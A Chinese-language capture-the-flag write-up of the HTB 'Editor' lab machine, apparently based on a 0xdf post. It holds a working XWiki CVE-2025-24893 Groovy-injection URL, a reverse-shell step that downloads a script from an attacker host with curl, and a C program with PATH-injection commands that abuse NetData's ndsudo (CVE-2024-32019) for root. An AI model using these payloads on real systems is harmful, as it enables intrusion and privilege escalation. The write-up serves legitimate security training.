深入剖析HTB Editor靶机——从XWiki漏洞到NetData本地提权

本文详细记录了HTB靶机Editor的完整渗透过程。通过子域名枚举发现XWiki实例,利用CVE-2025-24893漏洞实现未授权Groovy代码注入获取初始立足点,随后通过密码复用横向移动至普通用户,最终利用NetData的ndsudo二进制文件路径注入漏洞(CVE-2024-32019)实现本地权限提升至root。

HTB: Editor | 0xdf 的黑客实践

摘要

Editor 是一台 Linux 靶机,托管了一个代码编辑器网站,其文档位于一个 XWiki 实例上。我将利用 XWiki Solr 搜索中的一个漏洞,该漏洞允许未经身份验证的 Groovy 脚本注入,从而实现远程代码执行并获得一个 shell。之后,我将在 XWiki Hibernate 配置中找到数据库凭据,并利用密码复用的方式横向移动至另一个用户。通过枚举本地服务,我发现正在运行一个旧版本的 NetData,它安装了一个存在漏洞的 SetUID 二进制文件 ndsudo,该文件易受 PATH 注入攻击,我将滥用此漏洞来获取 root 权限。

靶机信息

名称 Editor
发布日期 2025年8月2日
下线日期 2025年12月6日
操作系统 Linux
基础分数 简单 [20]

创作者: kavigihan, TheCyberGeek

侦察

初始扫描

nmap 发现了三个开放的 TCP 端口:SSH (22) 和两个 HTTP (80, 8080):

1
2
3
4
5
6
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.80
...
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

详细的版本扫描显示:

  • 端口 80: nginx 1.18.0,重定向到 http://editor.htb
  • 端口 8080: Jetty 10.0.20,运行 XWiki

子域名暴力破解

使用 ffuf 进行子域名枚举,发现了 wiki 子域名:

1
2
oxdf@hacky$ ffuf -u http://10.10.11.80 -H "Host: FUZZ.editor.htb" ...
wiki                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 93ms]

将以下条目添加到 /etc/hosts

1
10.10.11.80 editor.htb wiki.editor.htb

editor.htb - TCP 80

该网站是一个代码编辑器的宣传页面。技术栈分析显示为 React 应用。目录暴力扫描 (feroxbuster) 未发现有趣内容。

wiki.editor.htb - TCP 80 / 8080

所有访问方式都指向同一个 XWiki 站点,用于提供 SimplistCode Pro 软件的文档。页脚显示版本为 XWiki Debian 15.10.8。

获取 xwiki 用户 shell

CVE-2025-24893 背景

XWiki 版本 15.10.8 存在漏洞 CVE-2025-24893。该漏洞允许任何访客通过向 SolrSearch 发送请求执行任意远程代码。

影响范围: 整个 XWiki 安装的机密性、完整性和可用性。 补丁: 此漏洞已在 XWiki 15.10.11、16.4.1 和 16.5.0RC1 中修复。

漏洞验证 (POC)

构建并访问以下 URL:

1
http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

响应中包含了 “Hello from search text:42”,证实漏洞存在。

获取 Shell

通过 Burp Repeater 修改 payload,执行系统命令 id

1
...{{groovy}}println("id".execute().text){{/groovy}}...

成功返回命令执行结果。

获取反向 Shell:

  1. 在攻击机上创建反向 shell 脚本 rev
  2. 在靶机上使用 curl 下载该脚本:curl http://10.10.14.6/rev -o /dev/shm/rev
  3. 执行脚本:bash /dev/shm/rev
  4. 在攻击机监听端口收到连接,获得 xwiki 用户的 shell。

获取 oliver 用户权限

信息枚举

/etc/xwiki/hibernate.cfg.xml 中找到数据库凭据:

1
2
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

SSH 登录

尝试密码复用,发现 oliver 用户使用了相同的密码:

1
2
oxdf@hacky$ netexec ssh editor.htb -u oliver -p theEd1t0rTeam99
[+] oliver:theEd1t0rTeam99  Linux - Shell access!

成功通过 SSH 登录为 oliver 并获取用户标志 (user.txt)。

获取 root 权限

本地服务枚举

使用 ss -tnl 发现仅在本地监听的端口:19999, 8125, 43143。 通过 SSH 端口转发进行访问:

1
sshpass -p theEd1t0rTeam99 ssh oliver@editor.htb -L 19999:localhost:19999 ...
  • 端口 19999: 运行着 NetData 监控面板,版本为 1.45.2。
  • 其他端口无有效发现。

CVE-2024-32019 漏洞利用

漏洞描述: NetData Agent 附带的 ndsudo 工具允许攻击者以 root 权限运行任意程序。该工具打包为 root 拥有的 SUID 可执行文件。它只运行一组受限的外部命令,但其搜索路径由 PATH 环境变量提供。这允许攻击者控制 ndsudo 查找这些命令的位置,从而导致本地权限提升。此漏洞在 1.45.3 和 1.45.2-169 版本中已修复。

漏洞利用步骤:

  1. 定位 ndsudo 位于 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo,具有 SetUID 位。
  2. 查看支持的命令: 运行 ndsudo -h 显示支持 nvme-list 等命令。
  3. 创建恶意程序: 编写一个 C 程序,编译为名为 nvme 的可执行文件,其功能是创建一个 SetUID 的 bash 副本。
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    
    int main() {
        setuid(0);
        seteuid(0);
        setgid(0);
        setegid(0);
        system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
    }
    
  4. 上传并设置: 将编译好的 nvme 上传到靶机的 /dev/shm 并赋予执行权限。
  5. 触发漏洞: 通过设置 PATH 环境变量,使 ndsudo 优先执行我们放置的恶意 nvme 程序。
    1
    
    PATH=/dev/shm:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
    
  6. 获取 root shell: 命令执行后,在 /tmp 目录下生成了 SetUID 的 bash 副本 /tmp/0xdf。执行它即可获得 root 权限。
    1
    
    /tmp/0xdf -p
    
  7. 成功读取 root.txt

扩展分析

尽管拥有 oliver 的正确密码,xwiki 用户却无法使用 su 切换到该用户。原因在于 XWiki 的服务单元文件 (/lib/systemd/system/xwiki.service) 中设置了 NoNewPrivileges=true。该选项阻止了通过 execve() 调用获得任何本无法获得的特权,因此即使 su 具有 SetUID 位,也无法在此环境下成功切换用户权限。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计